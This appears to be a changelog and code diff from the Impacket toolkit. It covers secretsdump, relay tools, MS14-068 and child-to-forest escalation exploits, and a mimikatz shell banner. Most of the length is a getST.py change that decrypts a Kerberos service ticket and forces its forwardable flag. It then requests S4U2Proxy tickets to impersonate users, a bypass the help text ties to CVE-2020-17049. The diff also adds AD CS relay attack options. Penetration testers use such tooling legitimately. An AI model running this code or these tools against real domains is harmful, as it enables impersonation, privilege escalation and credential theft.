* It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2
* `smbrelayx.py`:
* If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default
* Added -c option to execute custom commands in the target (by @byt3bl33d3r)
* `secretsdump.py`:
* Active Directory hashes/Kerberos keys are dumped using `[MS-DRSR]` (`IDL_DRSGetNCChanges` method)
by default. VSS method is still available by using the -use-vss switch
* Added `-just-dc` (Extract only NTDS.DIT NTLM Hashes and Kerberos) and
`-just-dc-ntlm` (only NTDS.DIT NTLM Hashes) options
* Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops.
Use `-resumefile` option.
* Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump (`[MS-SAMR]` `3.1.1.8.11.5`)
* Add support for multiple password encryption keys (PEK) (by @s0crat)
* `goldenPac.py`:
* Tests all DCs in domain and adding forest's enterprise admin group inside PAC
3. New examples
* `raiseChild.py`: Child domain to forest privilege escalation exploit. Implements a
child-domain to forest privilegeescalation as [detailed by Sean Metcalf](https://adsecurity.org/?p=1640).
* `netview.py`: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)
## Impacket v0.9.13 (May 2015):
1. Library improvements
* Kerberos support for SMB and DCERPC featuring:
* `kerberosLogin()` added to SMBConnection (all SMB versions).
* Support for `RPC_C_AUTHN_GSS_NEGOTIATE` at the DCERPC layer. This will
negotiate Kerberos. This also includes DCOM.
* Pass-the-hash, pass-the-ticket and pass-the-key support.
* Ccache support, compatible with Kerberos utilities (kinit, klist, etc).
* Support for `RC4`, `AES128_CTS_HMAC_SHA1_96` and `AES256_CTS_HMAC_SHA1_96` ciphers.
* Support for `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`/`RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`.
* `[MS-SAMR]`: Supplemental Credentials support (used by secretsdump.py)
* SMBSERVER improvements:
* SMB2 (2.002) dialect experimental support.
* Adding capability to export to John The Ripper format files
* Library logging overhaul. Now there's a single logger called `impacket`.
2. Examples improvements
* Added Kerberos support to all modules (incl. pass-the-ticket/key)
* Ported most of the modules to the new dcerpc.v5 runtime.
* `secretsdump.py`:
* Added dumping Kerberos keys when parsing NTDS.DIT
* `smbserver.py`:
* Support for SMB2 (not enabled by default)
* `smbrelayx.py`:
* Added support for MS15-027 exploitation.
3. New examples
* `goldenPac.py`: MS14-068 exploit. Saves the golden ticket and also launches a
psexec session at the target.
* `karmaSMB.py`: SMB Server that answers specific file contents regardless of
the SMB share and pathname requested.
* `wmipersist.py`: Creates persistence over WMI. Adds/Removes WMI Event
Consumers/Filters to execute VBS based on a WQL filter or timer specified.
## Impacket v0.9.12 (July 2014):
1. Library improvements
* The following protocols were added based on its standard definition
* `[MS-DCOM]` - Distributed Component Object module Protocol (`dcom.py`)
* `[MS-OAUT]` - OLE Automation Protocol (`dcom/oaut.py`)
* `[MS-WMI]`/`[MS-WMIO]` : Windows Management Instrumentation Remote Protocol (`dcom/wmi.py`)
2. New examples
* `wmiquery.py`: executes WMI queries and get WMI object's descriptions.
* `wmiexec.py`: agent-less, semi-interactive shell using WMI.
* `smbserver.py`: quick an easy way to share files using the SMB protocol.
## Impacket v0.9.11 (February 2014):
1. Library improvements
* New RPC and NDR runtime (located at `impacket.dcerpc.v5`, old one still available)
* Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)
* Support for `RPC_C_AUTHN_NETLOGON` (experimental)
* The following interface were developed based on its standard definition:
* `[MS-LSAD]` - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)
* `[MS-LSAT]` - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)
* `[MS-NRPC]` - Netlogon Remote Protocol (nrpc.py)
* `[MS-RRP]` - Windows Remote Registry Protocol (rrp.py)
* `[MS-SAMR]` - Security Account Manager (SAM) Remote Protocol (samr.py)
* `[MS-SCMR]` - Service Control Manager Remote Protocol (scmr.py)
* `[MS-SRVS]` - Server Service Remote Protocol (srvs.py)
* `[MS-WKST]` - Workstation Service Remote Protocol (wkst.py)
* `[MS-RPCE]-C706` - Remote Procedure Call Protocol Extensions (epm.py)
* `[MS-DTYP]` - Windows Data Types (dtypes.py)
* Most of the DCE Calls have helper functions for easier use. Test cases added for
all calls (check the test cases directory)
* ESE parser (Extensive Storage Engine) (ese.py)
* Windows Registry parser (winregistry.py)
* TDS protocol now supports SSL, can be used from mssqlclient
* Support for EAPOL, EAP and WPS decoders
* VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi
2. New examples
* `rdp_check.py`: tests whether an account (pwd or hashes) is valid against an RDP server
* `esentutl.py`: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)
* `ntfs-read.py`: mini shell for browsing an NTFS volume
* `registry-read.py`: Windows offline registry reader
* `secretsdump.py`: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)
## Impacket v0.9.10 (March 2013):
1. Library improvements
* SMB version 2 and 3 protocol support (`[MS-SMB2]`). Signing supported, encryption for
SMB3 still pending.
* Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and
SMB version independent. It will pick the best SMB Version when connecting against the
target. Check `smbconnection.py` for a list of available methods across all the protocols.
* Partial TDS implementation (`[MS-TDS]` & `[MC-SQLR]`) so we could talk with MSSQL Servers.
* Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.
* DCERPC Endpoints' new calls
* EPM: `lookup()`: It can work as a general portmapper, or just to find specific interfaces/objects.
2. New examples
* `mssqlclient.py`: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives
you an SQL prompt for your pleasure.
* `mssqlinstance.py`: Lists the MS SQL instances running on a target machine.
* `rpcdump.py`: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the
UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to
develop new functionality to interact against a target interface.
* `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the
technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also
supports instantiating a local smbserver to receive the output of the commandos executed for those situations
where no share is available on the other end.
* `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly.
And finally tons of fixes :).
## Impacket v0.9.9 (July 2012):
1. Library improvements
* Added 802.11 packets encoding/decoding
* Addition of support for IP6, ICMP6 and NDP packets. Addition of `IP6_Address` helper class.
* SMB/DCERPC:
* GSS-API/SPNEGO Support.
* SPN support in auth blob.
* NTLM2 and NTLMv2 support.
* Default SMB port now 445. If `*SMBSERVER` is specified the library will try to resolve the netbios name.
* Pass the hash supported for SMB/DCE-RPC.
* IPv6 support for SMB/NMB/DCERPC.
* DOMAIN support for authentication.
* SMB signing support when server enforces it.
* DCERPC signing/sealing for all NTLM flavours.
* DCERPC transport now accepts an already established SMB connection.
* Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by
forwarding named pipes requests).
* Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoid Windows 7 nasty bug when that pipe's
not functional.
* DCERPC Endpoints' new calls:
* `SRVSVC`: `NetrShareEnum(Level1)`, `NetrShareGetInfo(Level2)`, `NetrServerGetInfo(Level2)`,
`NetrRemoteTOD()`, `NetprNameCanonicalize()`.
* `SVCCTL`: `CloseServiceHandle()`, `OpenSCManagerW()`, `CreateServiceW()`, `StartServiceW()`,
`OpenServiceW()`, `OpenServiceA()`, `StopService()`, `DeleteService()`, `EnumServicesStatusW()`,
`QueryServiceStatus()`, `QueryServiceConfigW()`.
* `WKSSVC`: `NetrWkstaTransportEnum()`.
* `SAMR`: `OpenAlias()`, `GetMembersInAlias()`.
* `LSARPC`: `LsarOpenPolicy2()`, `LsarLookupSids()`, `LsarClose()`.
2. New examples
* `ifmap.py`: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list
of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is
listed and/or listening.
* `lookupsid.py`: DCE/RPC lookup sid brute forcer example.
* `opdump.py`: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first
256 operation numbers in turn and reports the outcome of each call.
* `services.py`: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).
* `test_wkssvc`: DCE/RPC WKSSVC examples, playing with the functions Implemented.
* `smbrelayx`: Passes credentials to a third party server when doing MiTM.
* `smbserver`: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but
not enforced. Tested under Windows, Linux and MacOS clients.
* `smbclient.py`: now supports history, new commands also added.
* `psexec.py`: Execute remote commands on Windows machines
+1 -1
View File
@@ -1,6 +1,6 @@
include MANIFEST.in
include LICENSE
include ChangeLog
include ChangeLog.md
include README.md
include SECURITY.md
include TESTING.md
+280 -65
View File
@@ -69,7 +69,7 @@ from impacket.winregistry import hexdump
class GETST:
def __init__(self, target, password, domain, options):
self.__password = password
self.__user= target
self.__user = target
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
@@ -77,6 +77,7 @@ class GETST:
self.__options = options
self.__kdcHost = options.dc_ip
self.__force_forwardable = options.force_forwardable
self.__additional_ticket = options.additional_ticket
self.__saveFileName = None
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
@@ -88,8 +89,215 @@ class GETST:
ccache.fromTGS(ticket, sessionKey, sessionKey)
ccache.saveFile(self.__saveFileName + '.ccache')
def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
if not os.path.isfile(additional_ticket_path):
logging.error("Ticket %s doesn't exist" % additional_ticket_path)
exit(0)
else:
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path)
ccache = CCache.loadFile(additional_ticket_path)
principal = ccache.credentials[0].header['server'].prettyPrint()
creds = ccache.getCredential(principal.decode())
TGS = creds.toTGS(principal)
tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('\tRequesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
return r, cipher, sessionKey, newSessionKey
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
@@ -99,15 +307,15 @@ class GETST:
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
@@ -118,7 +326,7 @@ class GETST:
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print ('\n')
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
@@ -136,7 +344,7 @@ class GETST:
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
@@ -149,7 +357,7 @@ class GETST:
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
@@ -187,9 +395,9 @@ class GETST:
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.canonicalize.value )
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
@@ -203,7 +411,7 @@ class GETST:
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
@@ -214,7 +422,7 @@ class GETST:
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
@@ -249,7 +457,7 @@ class GETST:
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
@@ -265,33 +473,33 @@ class GETST:
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value]==1) else ' not')
+ ' forwardable')
#Customize flags the forwardable flag is the only one that really matters
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
#convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
#Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value+1:]
#Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits)#Update flags
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value]==1) else ' not')
+ ' forwardable')
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
#put it back in the TGS
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
@@ -300,25 +508,25 @@ class GETST:
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
#Get the service ticket
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticketTGT.to_asn1)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
@@ -379,12 +587,12 @@ class GETST:
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
@@ -450,8 +658,12 @@ class GETST:
# Here's the rock'n'roll
try:
logging.info('Impersonating %s' % self.__options.impersonate)
#Editing below to pass hashes for decryption
tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
# Editing below to pass hashes for decryption
if self.__additional_ticket is not None:
tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost, self.__additional_ticket)
else:
tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
except Exception as e:
logging.debug("Exception", exc_info=True)
logging.error(str(e))
@@ -463,7 +675,8 @@ class GETST:
return
self.__saveFileName = self.__options.impersonate
self.saveTicket(tgs,oldSessionKey)
self.saveTicket(tgs, oldSessionKey)
if __name__ == '__main__':
print(version.BANNER)
@@ -471,36 +684,36 @@ if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
"Service Ticket and save it as ccache")
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the '
'service ticket will' ' be generated for')
parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
' for quering the ST. Keep in mind this will only work if '
'the identity provided in this scripts is allowed for '
'delegation to the SPN specified')
parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the '
'service ticket will' ' be generated for')
parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
' for quering the ST. Keep in mind this will only work if '
'the identity provided in this scripts is allowed for '
'delegation to the SPN specified')
parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through '
'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '
'specified -identity should be provided. This allows impresonation of protected users '
'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049')
'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '
'specified -identity should be provided. This allows impresonation of protected users '
'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
if len(sys.argv) == 1:
parser.print_help()
print("\nExamples: ")
print("\t./getTGT.py -hashes lm:nt contoso.com/user\n")
print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n")
print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked")
sys.exit(1)
@@ -525,6 +738,7 @@ if __name__ == '__main__':
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
@@ -535,5 +749,6 @@ if __name__ == '__main__':
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print(str(e))
+14 -8
View File
@@ -44,6 +44,19 @@ try:
except ImportError:
import readline
mimikatz_intro = r"""
.#####. mimikatz RPC interface
.## ^ ##. "A La Vie, A L' Amour "
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' Impacket client by Alberto Solino (@agsolino) * * */
Type help for list of commands"""
class MimikatzShell(cmd.Cmd):
def __init__(self, dce):
cmd.Cmd.__init__(self)
@@ -51,14 +64,7 @@ class MimikatzShell(cmd.Cmd):
self.prompt = 'mimikatz # '
self.tid = None
self.intro = '' \
' .#####. mimikatz RPC interface\n'\
' .## ^ ##. "A La Vie, A L\' Amour "\n'\
' ## / \ ## /* * *\n'\
' ## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )\n'\
' \'## v ##\' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n'\
' \'#####\' Impacket client by Alberto Solino (@agsolino) * * */\n\n'\
'Type help for list of commands'
self.intro = mimikatz_intro
self.pwd = ''
self.share = None
self.loggedIn = True
+7
View File
@@ -164,6 +164,8 @@ def start_servers(options, threads):
c.setInterfaceIp(options.interface_ip)
c.setExploitOptions(options.remove_mic, options.remove_target)
c.setWebDAVOptions(options.serve_image)
c.setIsADCSAttack(options.adcs)
c.setADCSOptions(options.template)
if server is HTTPRelayServer:
c.setListeningPort(options.http_port)
@@ -320,6 +322,11 @@ if __name__ == '__main__':
imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
'(0 = unlimited, default: no limit)')
# AD CS options
adcsoptions = parser.add_argument_group("AD CS attack options")
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, default="Machine", help='AD CS template. If you are attacking Domain Controller or other windows server machine, default value should be suitable.')
try:
options = parser.parse_args()
except Exception as e:
+205 -33
View File
@@ -19,6 +19,7 @@
import sys
import os
import re
import cmd
import logging
from threading import Thread, Lock
@@ -37,6 +38,7 @@ from impacket.examples import remcomsvc, serviceinstall
from impacket.examples.utils import parse_target
from impacket.krb5.keytab import Keytab
CODEC = sys.stdout.encoding
class RemComMessage(Structure):
structure = (
